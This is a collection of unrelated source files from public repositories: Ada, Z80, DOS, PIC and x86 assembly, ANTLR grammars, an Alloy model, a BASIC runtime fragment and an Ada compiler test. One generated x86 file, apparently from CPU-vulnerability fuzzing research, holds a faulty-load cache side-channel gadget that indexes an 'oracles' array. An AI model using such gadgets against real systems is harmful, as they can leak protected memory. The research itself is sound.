00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
ada/philosophers.ads
rtoal/enhanced-dining-philosophers
0
22590
------------------------------------------------------------------------------ -- philosophers.ads -- -- This package supplies a task type for the Philosophers in the Enhanced -- Dining Philosophers simulation. It also defines an array of philosophers. -- -- Entries: -- -- Here_Is_Your_Name (Name) assigns the name Name to the philosopher. -- Here_Is_Your_Food gives the philosopher what she ordered. -- -- Behavior: -- -- First the philosopher waits for a name, then enters a life cycle of com- -- ing into the restaurant, thinking, ordering, then ((eating and paying) or -- (getting a coupon) or (complaining)), then leaving. -- -- Termination: -- -- A philosopher "dies" be running out of money and just reaching the end of -- its task body. -- -- Note: -- -- To keep the simulation from running too long, philosophers start with $30 -- and coupons are worth $5. ------------------------------------------------------------------------------ with Names, Orders; use Names, Orders; package Philosophers is task type Philosopher is entry Here_Is_Your_Name (Name: Philosopher_Name); entry Here_Is_Your_Food; end Philosopher; Philosopher_Array : array (Philosopher_Name) of Philosopher; end Philosophers;
libsrc/_DEVELOPMENT/math/float/math16/z80/asm_f16_f32.asm
ahjelm/z88dk
640
22775
<filename>libsrc/_DEVELOPMENT/math/float/math16/z80/asm_f16_f32.asm ; ; Copyright (c) 2020 <NAME> ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. ; ; feilipu, May 2020 ; ;------------------------------------------------------------------------- ; asm_f16_f32 - z80, z180, z80n unpacked format conversion code ;------------------------------------------------------------------------- ; ; unpacked format: exponent in d, sign in e[7], mantissa in hl ; return normalized result also in unpacked format ; ; return f32 and f24 float in dehl, and f16 in hl ; ; uses: af, de, hl ; ;------------------------------------------------------------------------- SECTION code_fp_math16 EXTERN asm_f16_zero EXTERN asm_f16_inf EXTERN asm_f24_zero PUBLIC asm_f24_f32 PUBLIC asm_f32_f24 PUBLIC asm_f24_f16 PUBLIC asm_f16_f24 PUBLIC asm_f16_f32 PUBLIC asm_f32_f16 ; convert f32 to f24 .asm_f24_f32 ld a,l ; capture LSB sla e ; capture exponent in d, sign in carry rl d rra ; capture sign in a[7] scf ; set implicit bit rr e ; mantissa in ehl ld l,h ; create 16 bit mantissa by truncation ld h,e ld e,a ; save sign in e[7] and a,070h ; check for 3 lost bits rounding ret Z ; result in dehl set 0,l ; set for rounding of LSB ret ; convert f16 to f32 .asm_f32_f16 call asm_f24_f16 ; convert f24 to f32 .asm_f32_f24 ld a,e ; preserve sign in a ld e,h ; mantissa padded to ehl ld h,l ld l,0 sla e ; remove implicit bit rla ; sign in carry rr d ; sign and exponent in d rr e ; exponent and mantissa in e (hl) ret ; convert f24 to f16 .asm_f16_f24 ld a,l ; rounding using 3 lost bits and 00eh ld a,l jr Z,rounded add a,010h ; if there were rounding bits jr NC,rounded inc h jr NZ,rounded rr h rra inc d .rounded ld l,a ; mantissa lsb to l ld a,d ; exponent to a sub a,127-15 ; convert to f24 bias jp M,asm_f16_zero ; zero if number too small cp 31 jp NC,asm_f16_inf ; infinity if number too large sla l ; position mantissa rl h ; remove implicit bit sla l rl h rla ; move mantissa into a sla l rl h rla rla ; set a ready for sign sla e ; move sign to carry rra ; place it in a, with exponent and mantissa ld l,h ; position f16 in hl ld h,a ret ; convert f32 to f16 .asm_f16_f32 call asm_f24_f32 ; convert f16 to f24 .asm_f24_f16 ld e,h ; capture sign in e[7] ld a,h ; capture exponent in a ld h,l ; mantissa padded to ehl ld l,0 rra ; shift & position exponent rr h rr l rra rr h rr l and 01Fh ; separate exponent jp Z,asm_f24_zero ; zero if number was zero add a,127-15 ; convert bias to 8 bits ld d,a scf ; set implicit bit rr h ; align mantissa to hl rr l ret
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c43207d.ada
best08618/asylo
7
2478
<filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c43207d.ada -- C43207D.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- FOR A MULTIDIMENSIONAL AGGREGATE OF THE FORM (F..G => (H..I => J)), -- CHECK THAT: -- D) J IS EVALUATED ONCE FOR EACH COMPONENT (ZERO TIMES IF THE -- ARRAY IS NULL). -- EG 01/18/84 WITH REPORT; PROCEDURE C43207D IS USE REPORT; BEGIN TEST("C43207D", "CHECK THAT THE EVALUATION OF A MULTI" & "DIMENSIONAL AGGREGATE OF THE FORM " & "(F..G => (H..I = J)) IS PERFORMED " & "CORRECTLY"); DECLARE TYPE CHOICE_INDEX IS (F, G, H, I, J); TYPE CHOICE_CNTR IS ARRAY(CHOICE_INDEX) OF INTEGER; CNTR : CHOICE_CNTR := (CHOICE_INDEX => 0); SUBTYPE SINT IS INTEGER RANGE 1 .. 8; TYPE T0 IS ARRAY(SINT RANGE <>, SINT RANGE <>) OF INTEGER; FUNCTION CALC (A : CHOICE_INDEX; B : INTEGER) RETURN INTEGER IS BEGIN CNTR(A) := CNTR(A) + 1; RETURN IDENT_INT(B); END CALC; BEGIN CASE_D : BEGIN CASE_D1 : DECLARE D1 : T0(8 .. 4, 5 .. 1); BEGIN CNTR := (CHOICE_INDEX => 0); D1 := (8 .. 4 => (5 .. 1 => CALC(J,2))); IF CNTR(J) /= 0 THEN FAILED("CASE D1 : INCORRECT NUMBER " & "OF EVALUATIONS. J EVALUATED" & INTEGER'IMAGE(CNTR(J)) & " TIMES"); END IF; EXCEPTION WHEN OTHERS => FAILED("CASE D1 : EXCEPTION RAISED"); END CASE_D1; CASE_D2 : DECLARE D2 : T0(8 .. 4, 5 .. 1); BEGIN CNTR := (CHOICE_INDEX => 0); D2 := (CALC(F,8) .. CALC(G,4) => (CALC(H,5) .. CALC(I,1) => CALC(J,2))); IF CNTR(J) /= 0 THEN FAILED("CASE D2 : INCORRECT NUMBER " & "OF EVALUATIONS. J EVALUATED" & INTEGER'IMAGE(CNTR(J)) & " TIMES"); END IF; EXCEPTION WHEN OTHERS => FAILED("CASE D2 : EXCEPTION RAISED"); END CASE_D2; CASE_D3 : DECLARE D3 : T0(3 .. 5, 1 .. 2); BEGIN CNTR := (CHOICE_INDEX => 0); D3 := (3 .. 5 => (1 .. 2 => CALC(J,2))); IF CNTR(J) /= 6 THEN FAILED("CASE D3 : INCORRECT NUMBER " & "OF EVALUATIONS. J EVALUATED" & INTEGER'IMAGE(CNTR(J)) & " TIMES"); END IF; EXCEPTION WHEN OTHERS => FAILED("CASE D3 : EXCEPTION RAISED"); END CASE_D3; CASE_D4 : DECLARE D4 : T0(1 .. 2, 5 .. 7); BEGIN CNTR := (CHOICE_INDEX => 0); D4 := (CALC(F,1) .. CALC(G,2) => (CALC(H,5) .. CALC(I,7) => CALC(J,2))); IF CNTR(J) /= 6 THEN FAILED("CASE D4 : INCORRECT NUMBER " & "OF EVALUATIONS. J EVALUATED" & INTEGER'IMAGE(CNTR(J)) & " TIMES"); END IF; EXCEPTION WHEN OTHERS => FAILED("CASE D4 : EXCEPTION RAISED"); END CASE_D4; END CASE_D; END; RESULT; END C43207D;
antlr/Blossom.g4
Xerakhez/BlossomScriptBlock
1
1330
<reponame>Xerakhez/BlossomScriptBlock<gh_stars>1-10 grammar Blossom; options { language = Java; } @header { package me.koneko.blossom.parse; } // parser rules file: stmt* EOF; stmt: varDeclare | ifStmt | whileStmt | breakStmt | continueStmt | blockStmt | expr SEMI; varDeclare: Var Identifier (Assign cond)? SEMI; blockStmt: LBrace stmt* RBrace; ifStmt: If LParen cond RParen stmt (Else stmt)?; whileStmt: While LParen cond RParen stmt; breakStmt: Break SEMI; continueStmt: Continue SEMI; list: cond (Comma cond)*; cond: expr (RelatOp cond)?; expr: term (CalcOp0 expr)?; term: factor (CalcOp1 term)?; factor: LParen expr RParen | literal | Identifier | Identifier LParen list? RParen; literal: Float | Integer | String; // lexer rules // keywords Var: 'var'; If: 'if'; Else: 'else'; While: 'while'; Continue: 'continue'; Break: 'break'; fragment Digit: [0-9]; fragment Letter: [a-zA-Z]; fragment Char: ~["\\\r\n]; fragment Sign: [+-]; // identifier Identifier: (Letter | '_' | '$') (Letter | Digit | '_' | '$')*; // literals Float: Sign? Digit+ '.' Digit*; Integer: Sign? Digit+; String: '"' Char* '"'; // edges Comma: ','; LParen: '('; RParen: ')'; LBrace: '{'; RBrace: '}'; /* LBrack: '['; RBrack: ']'; */ // operators Assign: '='; RelatOp: GTR | LSS | EQ | LEQ | GEQ | NEQ; EQ: '=='; GTR: '>'; LSS: '<'; LEQ: '<='; GEQ: '>='; NEQ: '!='; CalcOp0: ADD | SUB; ADD: '+'; SUB: '-'; CalcOp1: MUL | DIV | MOD; MUL: '*'; DIV: '/'; MOD: '%'; SEMI: ';'; Whitespace: [ \t\r\n] -> skip; // comment Comment: '/*' .*? '*/' -> skip; LineComment: '//' ~[\r\n]* -> skip;
LearnPyANTLR/session1/simple.g4
fyabc/Toys
1
4547
grammar simple; // Fragment & Lexer HELLO: [Hh] 'ello'; WORLD: [Ww] 'orld'; COMMA: ','; WS : [ \t\r\n]+ -> skip ; // Parser main: HELLO COMMA? WORLD '!'?;
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_21829_795.asm
ljhsiun2/medusa
9
647
<filename>Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_21829_795.asm .global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_WC+0x19bfe, %r14 nop nop and $25962, %rbp mov $0x5152535455565758, %r8 movq %r8, %xmm1 vmovups %ymm1, (%r14) nop nop sub %r14, %r14 // REPMOV lea addresses_UC+0x7861, %rsi lea addresses_A+0xac76, %rdi nop nop nop nop nop xor $22571, %r15 mov $95, %rcx rep movsb nop add $49598, %r15 // Load lea addresses_RW+0x247e, %r15 nop nop sub %rbp, %rbp movups (%r15), %xmm7 vpextrq $0, %xmm7, %rsi nop cmp %rbp, %rbp // REPMOV lea addresses_UC+0xd389, %rsi lea addresses_A+0x169fe, %rdi nop nop and %r10, %r10 mov $15, %rcx rep movsl nop nop xor %rsi, %rsi // Faulty Load lea addresses_WC+0x19bfe, %r15 nop nop nop nop xor %r14, %r14 vmovups (%r15), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r8 lea oracles, %rbp and $0xff, %r8 shlq $12, %r8 mov (%rbp,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}} {'src': {'type': 'addresses_UC', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 1, 'same': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 9, 'same': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
read.asm
rodolfovalentim/sistemb2016-1
0
22245
<reponame>rodolfovalentim/sistemb2016-1<gh_stars>0 segment code ..start: mov ax, data mov ds, ax mov ax, stack mov ss, ax mov sp, stacktop ;abre arquivo mov ah, 3Dh mov al, 00 mov dx, filename mov cx, 1 int 21h mov word[handle], ax mov bx, image mov word[pointer], bx read: mov ah, 3Fh mov bx, word[handle] mov cx, 1 mov dx, input int 21h ;verifica se o arquivo acabou cmp ax, cx jl finishread ;compara com o espaço mov dl, byte[input] cmp dl, 20h je store cmp dl, '0' jl read mov al, byte[buffer] sub dl, '0' mov bl, 0ah mul bl add al, dl mov byte[buffer], al jmp read store: mov bx, word[pointer] mov dl, byte[buffer] mov byte[bx], dl mov [pointer], bx inc word[pointer] mov byte[buffer], 00h jmp read finishread: ; termina a leitura da imagem mov bx, [pointer] mov dl, [buffer] mov byte[bx], dl mov [pointer], bx inc word[pointer] mov byte[buffer], 00h jmp print print: ;imprime a imagem na tela mov bx, word[pointer] mov byte[bx], '$' mov word[pointer], bx mov dx, image mov ah, 09h int 21h jmp cphist cphist: ; computa histograma mov bx, image mov cx, 1 prox: mov ah, 00h mov al, byte[bx] mov si, ax add si, si add word[histogram+si], 1 add bx, 1 ;anda na imagem loop prox printh: ;imprime histograma obtido mov dx, histogram mov ah, 09h int 21h int 3 equalize: mov si, histogram mov di, eqhistogram mov ax, [si] mov [di], ax add si, 2 mov cx, 255 .iter: mov ax, [si] add [di+2], ax mov ax, [di] add [di+2], ax add di, 2 loop .iter exit: mov ah, 4Ch int 21h segment data filename db 'teste.txt', 0 buffer db 0 input db 0 handle dw 0 pointer dw 1 histogram: times 256 dw 0000h fim1 db '$' eqhistogram: times 256 dw 0000h fim2 db '$' image: resb 1 segment stack stack resb 256 stacktop:
PIC/Grabador/uart_manager.asm
MrRomo/MrBootloader
0
93752
_readData: ;uart_manager.c,2 :: unsigned char readData(){ ;uart_manager.c,4 :: PORTB = 0x00; CLRF PORTB+0 ;uart_manager.c,5 :: while (1){ L_readData0: ;uart_manager.c,6 :: if(UART1_Data_Ready()){ CALL _UART1_Data_Ready+0 MOVF R0+0, 0 BTFSC STATUS+0, 2 GOTO L_readData2 ;uart_manager.c,7 :: dato = UART1_Read(); CALL _UART1_Read+0 ;uart_manager.c,8 :: PORTB = 0xFF; MOVLW 255 MOVWF PORTB+0 ;uart_manager.c,9 :: return dato; GOTO L_end_readData ;uart_manager.c,10 :: } L_readData2: ;uart_manager.c,11 :: } GOTO L_readData0 ;uart_manager.c,12 :: } L_end_readData: RETURN ; end of _readData _mult: ;uart_manager.c,13 :: unsigned char mult(unsigned char dato){ ;uart_manager.c,14 :: if (dato>='A'){ MOVLW 65 SUBWF FARG_mult_dato+0, 0 BTFSS STATUS+0, 0 GOTO L_mult3 ;uart_manager.c,15 :: return dato-55; MOVLW 55 SUBWF FARG_mult_dato+0, 0 MOVWF R0+0 GOTO L_end_mult ;uart_manager.c,16 :: }else{ L_mult3: ;uart_manager.c,17 :: return dato-48; MOVLW 48 SUBWF FARG_mult_dato+0, 0 MOVWF R0+0 ;uart_manager.c,19 :: } L_end_mult: RETURN ; end of _mult _ascii2hex: ;uart_manager.c,20 :: unsigned char ascii2hex(){ ;uart_manager.c,21 :: unsigned char dato = 0x00; CLRF ascii2hex_dato_L0+0 ;uart_manager.c,22 :: dato = mult(readData())<<4; CALL _readData+0 MOVF R0+0, 0 MOVWF FARG_mult_dato+0 CALL _mult+0 MOVF R0+0, 0 MOVWF ascii2hex_dato_L0+0 RLF ascii2hex_dato_L0+0, 1 BCF ascii2hex_dato_L0+0, 0 RLF ascii2hex_dato_L0+0, 1 BCF ascii2hex_dato_L0+0, 0 RLF ascii2hex_dato_L0+0, 1 BCF ascii2hex_dato_L0+0, 0 RLF ascii2hex_dato_L0+0, 1 BCF ascii2hex_dato_L0+0, 0 ;uart_manager.c,23 :: dato += mult(readData()); CALL _readData+0 MOVF R0+0, 0 MOVWF FARG_mult_dato+0 CALL _mult+0 MOVF ascii2hex_dato_L0+0, 0 ADDWF R0+0, 1 MOVF R0+0, 0 MOVWF ascii2hex_dato_L0+0 ;uart_manager.c,25 :: PORTB = 0xFF; MOVLW 255 MOVWF PORTB+0 ;uart_manager.c,26 :: return dato; ;uart_manager.c,27 :: } L_end_ascii2hex: RETURN ; end of _ascii2hex _check_sum: ;uart_manager.c,28 :: unsigned char check_sum(unsigned char * trama) { ;uart_manager.c,29 :: unsigned char checksum, j = 0x00; CLRF check_sum_j_L0+0 ;uart_manager.c,30 :: unsigned char size = trama[0]+0x04; MOVF FARG_check_sum_trama+0, 0 MOVWF FSR MOVLW 4 ADDWF INDF+0, 0 MOVWF R0+0 CLRF R0+1 BTFSC STATUS+0, 0 INCF R0+1, 1 MOVF R0+0, 0 MOVWF R3+0 ;uart_manager.c,31 :: for(j = 0; j<size; j++) CLRF check_sum_j_L0+0 L_check_sum5: MOVF R3+0, 0 SUBWF check_sum_j_L0+0, 0 BTFSC STATUS+0, 0 GOTO L_check_sum6 ;uart_manager.c,33 :: checksum += trama[j]; MOVF check_sum_j_L0+0, 0 ADDWF FARG_check_sum_trama+0, 0 MOVWF FSR MOVF INDF+0, 0 ADDWF R2+0, 1 ;uart_manager.c,31 :: for(j = 0; j<size; j++) INCF check_sum_j_L0+0, 1 ;uart_manager.c,35 :: } GOTO L_check_sum5 L_check_sum6: ;uart_manager.c,36 :: checksum = ~checksum + 1; COMF R2+0, 0 MOVWF R0+0 INCF R0+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF R2+0 ;uart_manager.c,40 :: j = (checksum == trama[size]); MOVF R3+0, 0 ADDWF FARG_check_sum_trama+0, 0 MOVWF FSR MOVF R1+0, 0 XORWF INDF+0, 0 MOVLW 1 BTFSS STATUS+0, 2 MOVLW 0 MOVWF R0+0 MOVF R0+0, 0 MOVWF check_sum_j_L0+0 ;uart_manager.c,41 :: checksum = 0; CLRF R2+0 ;uart_manager.c,42 :: return j; ;uart_manager.c,43 :: } L_end_check_sum: RETURN ; end of _check_sum
alloy4fun_models/trashltl/models/0/s3umnpsum5ypeBaAh.als
Kaixi26/org.alloytools.alloy
0
4074
<filename>alloy4fun_models/trashltl/models/0/s3umnpsum5ypeBaAh.als open main pred ids3umnpsum5ypeBaAh_prop1 { no Trash } pred __repair { ids3umnpsum5ypeBaAh_prop1 } check __repair { ids3umnpsum5ypeBaAh_prop1 <=> prop1o }
45/runtime/rt/evtkey.asm
minblock/msdos
0
21568
<filename>45/runtime/rt/evtkey.asm TITLE EVTKEY - Keytrapping event handling ;*** ; EVTKEY - Keytrapping event handling ; ; Copyright <C> 1987, Microsoft Corporation ; ;Purpose: ; Event trapping support for keytrapping. ; ; BASIC Syntax mapping to included runtime entry points: ; ; ; - KEY(n) Statement - 3 syntax variants map to 3 entry points: ; ; KEY(n) ON KEY(n) OFF KEY(n) STOP ; --------- ---------- ----------- ; | | | ; B$ETK0 B$ETK1 B$ETK2 ; ; SLEEP [n] Statement ; ; SLEEP [n] ; --------- ; | ; B$SLEP ; ;****************************************************************************** INCLUDE switch.inc INCLUDE rmacros.inc useSeg EV_TEXT useSeg ER_TEXT useSeg RT_TEXT useSeg INIT_CODE useSeg _DATA useSeg _BSS useSeg XIB useSeg XI useSeg XIE INCLUDE seg.inc INCLUDE event.inc INCLUDE const.inc INCLUDE baslibma.inc INCLUDE idmac.inc INITIALIZER B$xKEYTRAPINIT sBegin _BSS externW b$RcoFlg sEnd _BSS sBegin _DATA externB b$EventFlags ;misc event flags. Bits defined in EVENT.INC externW B$PollDispTable externW b$pInitKeys1 ;vector for B$InitKeys1 externW b$pInitKeys2 ;vector for B$InitKeys2 sEnd _DATA sBegin ER_TEXT externNP B$ERR_FC sEnd ER_TEXT sBegin EV_TEXT assumes CS,EV_TEXT externNP B$SetKybdInt ;install keyboard interrupt handler externNP B$SetClockInt ;install clock interrupt handler externNP B$SleepInit ;set up sleep timeout externNP B$InitKeys1 ;keytrapping init for /D or ON KEY & friends externNP B$POLKEY externNP B$RDKYBD externNP B$TrapAddr externNP B$TestTrap externNP B$ReqTrap externNP B$EVNT_SET externNP B$OnTrap externNP B$OffTrap externNP B$StopTrap externNP B$settbl externNP B$ONFUN SUBTTL KEY (n) [ON,OFF,STOP] Statement PAGE ;*** ; B$ETK0, B$ETK1, B$ETK2 - KEY (n) [ON,OFF,STOP] Statement ; ; Purpose: ; Dispatch KEY statement depending upon following clauses: ; ; KEY (n) ON Enable KEY(n) Trapping. ; KEY (n) OFF Disable KEY(n) Trapping. ; KEY (n) STOP Suspend KEY(n) Trapping. ; ; WHERE: ; (n) is Softkey 1..NUM_TKEYS. ; If (n) is 0 then ON, OFF, and STOP ; apply to all keys 1 thru NUM_TKEYS... ; Input: ; parm1 == (n) ; Output: ; Event set in trap table, or error ;**** labelFP <PUBLIC,B$ETK0> ; KEY(n) ON MOV DL,$ON SKIP 2 labelFP <PUBLIC,B$ETK1> ; KEY(n) OFF MOV DL,$OFF SKIP 2 labelFP <PUBLIC,B$ETK2> ; KEY(n) STOP MOV DL,$STOP cProc KEYON_PROC,<FAR>,<SI,ES> parmW keyNum cBegin mov bx,[keyNum] OR BX,BX ; KEY(0)? JNZ NOT_ALL_KEYS ; Brif not do all keys. ;SET KEY(0) STATUS ; KEY(0) <status> SETS ALL KEYS TO <status> PUSH DI DEC DL ; cheap test of ON/OFF/STOP token .errnz $ON - 0 JS KYON ; brif DL == $ON - Set all keys to ON .errnz $OFF - 1 JZ KYOFF ; brif DL = $OFF - Set all keys to OFF ;default - fall through for DL = $STOP MOV DI,EV_TEXTOFFSET B$StopTrap JMP SHORT KEYALL KYON: MOV DI,EV_TEXTOFFSET B$OnTrap JMP SHORT KEYALL KYOFF: MOV DI,EV_TEXTOFFSET B$OffTrap KEYALL: MOV CX,NUM_TKEYS KEYAL1: PUSH CX ;Save counter PUSH DI ;Save funct dispatch MOV AL,KEYOFF ADD AL,CL ;index to NUM_TKEYS MOV CH,CL ; CH key number DEC AL ;Adjust to base 0. MOV SI,EV_TEXTOFFSET KEYALX ; NOTE: this is the return address PUSH SI ; NOTE: which will eventually get MOV SI,EV_TEXTOFFSET B$RDKYBD; NOTE: control. This is the adr PUSH DI ; NOTE: B$TrapAddr will exit. JMP B$TrapAddr ; Get Trap Table, do function. KEYALX: POP DI 